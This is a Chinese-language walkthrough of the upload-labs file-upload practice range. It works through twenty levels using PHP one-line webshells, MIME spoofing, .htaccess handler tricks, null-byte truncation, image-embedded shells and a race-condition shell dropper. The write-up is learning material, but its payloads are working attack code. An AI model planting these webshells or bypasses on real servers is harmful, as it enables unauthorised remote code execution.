Pass-01

尝试上传一句话木马
1.php:
<?php @eval($_POST['cmd']);?>
发现设置了白名单且抓包没有记录,说明在前端进行的拦截(可以禁用前端的JS从而绕过拦截,达到直接上传木马的目的)。
将一句话木马文件加上.jpg后缀1.php.jpg,上传抓包再将.jpg后缀删掉,使用蚁剑连接成功,密码为POST中的内容,这里为cmd。

Pass-02
上传一句话木马1.php,回显文件类型不正确,且抓包有记录说明是后端检测,禁用前端JS就不能绕过了

抓包修改数据包类型,改为image/jpeg即可绕过,复制图片地址,利用蚁剑连接成功

Pass-03

直接上传一句话木马1.php,回显后缀名黑名单.asp, .aspx, .php, .jsp,并且BurpSuite中抓包有记录说明是传到后端做检测,双写1.phpphp测试看能不能让绕过,上传成功了

复制图片链接用蚁剑连接试试–连接不上,还可以注意到上传的文件被重命名了

可以访问但是蚁剑连接不上,是因为上传的文件没被执行,docker上的环境没配好,在docker中打开uploads靶场相应配置文件,路径为/etc/apache2/apache2.conf



添加一些文件扩展名,使其与 PHP 处理程序关联,从而让这些文件扩展名的文件被当作 PHP 脚本解析和执行。
AddType application/ x-httpd-php php3 php5 phtml png phpphp pHp Php PHp
- AddType
AddType 指令用于告诉服务器为某些文件扩展名指定特定的 MIME 类型。在此例中,AddType 将指定的文件类型与 PHP 的 MIME 类型(application/x-httpd-php)相关联。 - application/x-httpd-php
这是 PHP 文件的 MIME 类型。它告诉 Apache Web 服务器,这些文件应该由 PHP 处理器解析和执行。
之后重启该靶场即可 终于成功了折腾了好久…

Pass-04
先上传一个普通图片,发现没有被重命名,再上传一句话木马提示后缀名不允许

使用BurpSuite爆破下哪些后缀名可用,可以上传htaccess文件
本地先创建一个.htaccess文件并写入, .htaccess 文件中的代码的作用是将特定的文件(在此例中是 1.jpg)作为 PHP 文件来处理,即当请求该文件时,服务器将把它当作 PHP 文件进行解析和执行,而不是当作普通的图片文件,而1.jpg是写好的一句话木马
<FilesMatch "1.jpg"> SetHandler application/x-httpd-php
</FilesMatch>
先上传该.htaccess文件,再上传1.jpg就可以用蚁剑连接上了
Pass-05
上传一个正常图片,复制图片链接发现被重命名了(看源码重命名的规则是当前时间,年月日时分秒加随机四位数),上传一句话木马有抓包记录,也是后端验证,再爆破下后缀名,发现大小写混合可以绕过

将一句话木马文件命名为12.PHp即可绕过并使用蚁剑成功连接
Pass-06
看了WriteUp这关的没有做空格过滤,源码中没有trim()函数,考虑使用空格绕过。
上传1.php一句话木马抓包在后缀加上空格

上传成功,但是蚁剑又连不上,裂开 复制图片地址打开,回显Not found,搜了半天好像和靶场的Linux环境有关

和第一关上传的一句话木马对比看下可以发现,文件名后缀的空格其实是被保留了,无法作为php文件被执行了,原因如下
- 在 Windows 上,攻击者可以利用系统自动去掉文件名末尾空格的特性,上传名为
2.php (带空格)的文件。由于检查扩展名时空格可能被忽略,服务器最终会执行2.php(不带空格)文件的代码。 - 在 Linux 上,由于文件名中的空格不会被去掉,
2.php(带空格)和2.php(不带空格)是不同的文件。因此,即使文件上传成功,服务器也不会将2.php (带空格)解析为 PHP 文件,而是视其为普通文件(不执行代码)。


Pass-07
使用BurpSuite对上传后缀名爆破,爆破结果里面php3(带空格)扩展名和php3.都可以传上去,看了WriteUp了解Linux中文件可以以点号前面的文件格式运行,所以上传php3.会以php文件执行。
| 特性 | Windows | Linux |
|---|---|---|
| 扩展名用途 | 必须依靠扩展名识别文件类型 | 扩展名不是必须,文件内容决定文件类型 |
| 大小写敏感性 | 不区分大小写 | 区分大小写 |
| 扩展名默认显示 | 默认隐藏 | 默认显示 |
| 文件名字符限制 | 文件名不能包含特殊字符,末尾空格会被去掉 | 文件名可以包含空格和特殊字符 |
| 可执行性 | 通过扩展名判断是否可执行 | 通过文件权限判断是否可执行 |
| 文件类型判断 | 通过扩展名决定 | 通过文件头和权限决定 |
可以构造一句话木马并在上传时用BurpSuite拦截并重命名为1.php.

上传成功了并且文件名为1.php.,使用蚁剑连接也能成功连上
Pass-08
上传上一关的1.php.转义为1.php%2e可以上传,并且在服务器端会存储为1.php%2e,但是这样使用URL去访问时会被编码为1.php.而访问不到

这关是利用::$data绕过也是Windows特性,docker上的靶场是Linux环境,暂时跳过
相关知识:
在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php
Pass-09
没什么头绪,根据源码来看一下

-
$deny_ext = array(...);
定义一个数组$deny_ext,其中列出了禁止上传的文件扩展名。 -
$file_name = trim($_FILES['upload_file']['name']);
从$_FILES['upload_file']获取用户上传的文件名,并使用trim()函数去除文件名两端的空格。 -
$file_name = deldot($file_name);
删除文件名末尾的点号(.)。 -
$file_ext = strrchr($file_name, '.');
使用strrchr()函数获取文件名中的最后一个点号及其后的内容(即文件扩展名)。- 如果文件名为
example.jpg,那么$file_ext的值将是.jpg。
- 如果文件名为
-
$file_ext = str_ireplace('::$DATA', '', $file_ext);
使用str_ireplace()函数去除扩展名中可能存在的::$DATA字符串。这是为了防止 NTFS 数据流攻击,其中攻击者可能通过在文件名后添加::$DATA来隐藏文件的真正扩展名。- 如果扩展名是
.jpg::$DATA,则转换后变为.jpg。
- 如果扩展名是
-
$file_ext = trim($file_ext);
移除扩展名前后的空格,确保扩展名的格式干净、没有多余的空格字符。 -
if (!in_array($file_ext, $deny_ext)) {
检查文件的扩展名$file_ext是否在$deny_ext禁止列表中。- 如果扩展名 不在禁止列表中(即文件是允许的类型),则执行文件上传操作。
- 如果扩展名 在禁止列表中(即文件类型不允许上传),则跳到
else分支,返回错误信息。
-
$temp_file = $_FILES['upload_file']['tmp_name'];
获取上传文件在服务器上的临时文件路径。PHP 在文件上传过程中,首先将文件存储在临时目录中,此处获取该路径。 -
$img_path = UPLOAD_PATH.'/'.$file_name;
生成上传文件的最终存储路径和文件名,没有被重命名,这点可以利用。 -
if (move_uploaded_file($temp_file, $img_path)) {
使用move_uploaded_file()函数将文件从临时目录移动到目标路径$img_path。这是文件上传的实际操作步骤。- 返回值:如果文件成功移动,则返回
true,并设置$is_upload = true,表示上传成功。
- 返回值:如果文件成功移动,则返回
构造3.php. .来进行绕过可以上传成功为3.php.,经过源码的变化过程为
3.php. . -> 3.php. (后缀有空格) -> $file_ext =php. (后缀有空格) ->$file_ext =php. (后缀无空格)
但是访问上传的图片地址Not Found,怀疑还是docker上linux环境的问题,跳过

Pass-10
这关直接从文件名中去除所有匹配的扩展名,可以双写绕过1.phpphp


Pass-11
这关白名单策略,多了一个参数save_path,使用%00的方法截断后面的语句:
攻击者手动修改了上传过程的POST包,在文件名后添加一个%00字节,则可以截断某些函数对文件名的判断。因为在许多语言的函数中,比如在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符。参考8.1.2绕过文件上传检查功能

上传文件名为1.jpg的一句话木马,抓包修改save_path,回显上传出错,是因为需要php版本小于5.3.4,靶场这里的PHP版本为5.5.38
Pass-12

这里是POST传参,而上一题是GET方式,需要手动解码

选中%00对其进行解码

还有一种方法是抓包后先放一个占位符在1.php,这里放了+

打开Hex界面修改+对应十六进制值2b为00,再放包复制返回的文件路径打开

但是由于PHP版本,这里都上传失败了
Pass-13

需要图片马,并且提供了文件包含漏洞的网址
- 单纯的图片马并不能直接和蚁剑连接, 因为该文件依然是以image格式进行解析, 只有利用文件包含漏洞,才能成功利用该木马
copy 13.jpg/b+1.php tupianx.jpg
本地没有16进制工具,13.jpg是正常的图片,1.php是一句话木马,将木马放到图片结尾合成新的tupianx.jpg,合成后就可以上传了,之后打开文件包含漏洞
有参数file,拼接上已经上传的图片马地址,使用蚁剑连接成功
http://ip:8006/include.php?file=http://ip:8006/upload/1656416516516.jpg
Pass-14
上传Pass-13的图片马被拒


getimagesize() 是 PHP 中的一个内置函数,用于获取图像文件的大小以及其他相关信息。它不仅可以用于判断文件是否是有效的图像文件,还能返回图像的详细信息,包括宽度、高度、MIME 类型等。对于该函数返回的数组
Array
([0] => 1054 //索引 0 给出的是图像宽度的像素值[1] => 241 //索引 1 给出的是图像高度的像素值[2] => 2 //索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM[3] => width="1054" height="241" //索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签[bits] => 8 //索引 bits 给出的是图像的每种颜色的位数,二进制格式[channels] => 3 //索引 channels 给出的是图像的通道值,RGB 图像默认是 3[mime] => image/jpeg //索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header("Content-type: image/jpeg");
)

源码取了getimagesize() 返回列表中[2]的值,也就是判断了图像的类型值,上传上一关的图片马应该也是可以通过的,但是上传被拒了,个人感觉是这个if语句stripos函数的原因,修改了源码将stripos函数后加上了>=0,用上一关的图片马上传成功,同样在文件包含漏洞网站打开,蚁剑成功连接。
在 PHP 中,if(stripos($types, $ext)) 和 if(stripos($types, $ext) >= 0) 这两个语句并不等价
-
stripos($types, $ext):stripos()函数用于在一个字符串中查找另一个字符串的首次出现位置,不区分大小写。- 如果
$ext在$types中找到,stripos()会返回首次出现的索引(位置),否则返回false。
-
if(stripos($types, $ext)):- 当使用
if判断stripos($types, $ext)时,PHP 会将返回的结果视为布尔值。 - 如果
stripos()找到$ext,返回的位置(索引值)会被转换为true(只要这个值不是 0)。如果$ext不在$types中,返回false,条件为false。 - 注意:如果
$ext在$types的开头(位置为 0),这个条件将为false,因为在 PHP 中,0 被视为false。
- 当使用
-
if(stripos($types, $ext) >= 0):- 这个条件明确检查
stripos()的返回值是否大于或等于 0。 - 如果
$ext在$types中的任意位置(包括开头),返回的位置将是 0 或更大的值,因此条件为true。 - 如果
$ext不在$types中,返回false,这个条件也为false。
- 这个条件明确检查
Pass-15
上一关的图片马可以成功绕过

exif_imagetype() 是 PHP 中的一个内置函数,用于确定指定文件的图像类型。它返回一个整数值,表示图像的 MIME 类型,可以用于检查文件是否为有效的图像文件。
函数语法:
int exif_imagetype(string $filename)
参数:
$filename:要检查的图像文件的路径。该文件必须存在且可读。
返回值:
- 返回一个整数,表示图像的 MIME 类型。返回值可以是以下常量之一:
IMAGETYPE_GIF(1):GIF 格式IMAGETYPE_JPEG(2):JPEG 格式IMAGETYPE_PNG(3):PNG 格式IMAGETYPE_SWF(4):SWF 格式IMAGETYPE_PSD(5):Photoshop 文件格式IMAGETYPE_BMP(6):BMP 格式IMAGETYPE_TIFF_II(7):TIFF 格式(小端)IMAGETYPE_TIFF_MM(8):TIFF 格式(大端)IMAGETYPE_JPC(9):JPC 格式IMAGETYPE_JP2(10):JP2 格式IMAGETYPE_JPX(11):JPX 格式IMAGETYPE_JB2(12):JB2 格式IMAGETYPE_SWC(13):SWC 格式IMAGETYPE_IFF(14):IFF 格式IMAGETYPE_WBMP(15):WBMP 格式IMAGETYPE_XBM(16):XBM 格式
- 如果文件不是有效的图像文件,或者无法读取该文件,则返回
false。
注意事项:
- 该函数依赖于
exif扩展,确保在使用之前启用该扩展。 exif_imagetype()只处理图像文件,对于非图像文件或无效路径,返回false。
Pass-16
先把WriteUp放这儿
- png格式,上传上一关的图片马会
提示:该文件不是png格式的图片!

imagecreatefromjpeg在处理这样的图片时会抹除所有的字节,我们必须要在特定的位置进行代码的注入。关于这个问题,网上已经有前辈做了相关的研究,在jpg图片的Scan Header 00 0C 03 01 00 02 11 03 11 00 3F 00后面插入代码有概率绕过gd库的imagecreatefromjpeg函数。引用地址
在010Editor中打开一个正常的图片
搜索以下代码,并在其后加上一句话木马,保存后拿来上传
00 0C 03 01 00 02 11 03 11 00 3F 00

上传之后页面没了!?发现被传到upload文件夹外了,–待研究


- gif格式,上传前几关准备的在末尾加了一句话木马的gif直接被识别为非gif,找一个新的gif图片,在010Editor中其尾部追加
<?php phpinfo(); ?>上传后下载,对比和原始的gif差别在哪儿

将木马写到蓝色区域中,这些是上传前后相同的,保存再次上传即可成功绕过
Pass-17
这关也是白名单

查看提示:需要代码审计,那就看源码

假如输入1.php.jpg模拟代码看能否绕过
-
$file_name:- 这个变量表示用户上传的文件的原始名称。上传的文件是
1.php.jpg,所以:$file_name = '1.php.jpg';
- 这个变量表示用户上传的文件的原始名称。上传的文件是
-
$temp_file:- 这个变量表示服务器在处理文件上传时,临时保存上传文件的路径。假设服务器保存文件的临时路径是
/tmp/phpXYZ123(这个路径是动态生成的,具体值会根据服务器情况变化),所以:$temp_file = '/tmp/phpXYZ123';
- 这个变量表示服务器在处理文件上传时,临时保存上传文件的路径。假设服务器保存文件的临时路径是
-
$file_ext:- 这个变量通过截取文件名最后一个
.后的内容,来得到文件扩展名。substr()函数和strrpos()函数联合使用,查找最后一个.之后的部分。因此,对于文件1.php.jpg,它提取的扩展名是jpg:$file_ext = 'jpg';
- 这个变量通过截取文件名最后一个
-
$upload_file:- 这个变量是文件在服务器上传后要存储的路径,基于
UPLOAD_PATH。假设UPLOAD_PATH是/var/www/uploads,那么这个变量的值会是:$upload_file = '/var/www/uploads/1.php.jpg';
- 这个变量是文件在服务器上传后要存储的路径,基于
-
move_uploaded_file($temp_file, $upload_file):- 该函数将上传的临时文件从
$temp_file位置移动到$upload_file位置。成功后,1.php.jpg文件会被移动到/var/www/uploads/目录。
- 该函数将上传的临时文件从
-
if(in_array($file_ext,$ext_arr)):- 该条件判断文件扩展名是否在允许的扩展名数组
$ext_arr中(jpg,png,gif)。由于1.php.jpg的扩展名是jpg,这个判断条件为真。
- 该条件判断文件扩展名是否在允许的扩展名数组
-
$img_path:- 这个变量会生成一个新的文件名,格式为随机两位数字 + 当前时间 + 原来的扩展名
jpg。例如:$img_path = '/var/www/uploads/56'.date("YmdHis").'.jpg'; - 假设当前时间是
20241018123045,新的文件名可能是:$img_path = '/var/www/uploads/561230452024.jpg';
- 这个变量会生成一个新的文件名,格式为随机两位数字 + 当前时间 + 原来的扩展名
-
rename($upload_file, $img_path):- 该行代码将文件从
1.php.jpg重命名为新的文件名,例如561230452024.jpg。到这里就可以知道上传的1.php.jpg会被定义为jpg格式的文件,而无法执行php代码。
- 该行代码将文件从
-
$is_upload:- 当上传和重命名操作成功时,这个变量被设置为
true,表示上传成功。
- 当上传和重命名操作成功时,这个变量被设置为
-
如果文件扩展名不合法:
- 如果上传的文件不是
jpg,png,gif格式会删除上传的文件,并给出错误提示。
- 如果上传的文件不是
看WP
将文件上传至服务器后,不会被立即删除,而是做短暂的停留,中间会有一小部分时间差,这部分时间差是代码进行if判断的时间,这部分时间足够执行一句代码,我们利用这段时间差和一段代码就可以达到上传含有恶意代码的非法文件的目的,这就是“条件竞争”。
-
先准备一个创建一句话木马的php并上传
<?php fputs(fopen( 'shell.php', 'w'), '<?php @eval($_POST['cmd']);?>') ?>将其上传在BP将记录发送到Intruder并添加爆破点以及payload设置

-
访问一句话木马php文件
对该记录也进行爆破,不设置payload,持续访问 -
先开启上传的爆破,在开启访问的爆破
太卡了没有实操成功
Pass-18
图片马的条件竞争
Pass-19
这关可以手动命名,查看了源码有上传黑名单,但是没有禁止可以大小写混合,构造一句话木马文件为1.pHp
Pass-20
最后一关

源码这里先检查了MIME,之后又重命名了文件名,参考WP,对上传的一句话木马进行修改,将save_name修改为数组
save_name[0] = upload-20.php/
save_name[1]//不填置空
save_name[2] = png
$ext=end($file); // $ext = png 绕过了后缀名检查
$file_name = reset($file) . '.' . $file[count($file) - 1];//这段代码怎么绕过的还是没懂

-
分析
在 PHP 中,如果只设置了
$save_name[0]和$save_name[2],但是没有设置$save_name[1],数组中实际上是没有$save_name[1]这个元素的。因此,数组的键值并不是连续的,这种情况下count($file)仍然会把数组的实际元素数目作为返回值。 -
举个例子:
$save_name = array(); $save_name[0] = 'cs.php/'; $save_name[2] = 'jpg'; print_r($save_name); -
输出的内容将是:
Array ([0] => cs.php/[2] => jpg ) -
解释代码行为:
reset($file)取的是数组的第一个元素,即'cs.php/'。count($file)的值是 2,因为数组里只有两个元素(索引 0 和 2)。count($file) - 1 = 1。$file[1]在这个数组里是不存在的,因为你没有显式设置它,所以返回的是null或者空值。
因此,拼接结果会是:
$file_name = 'cs.php/' . '.' . '';

上传到服务器端为upload-20.php,蚁剑测试可以成功连接。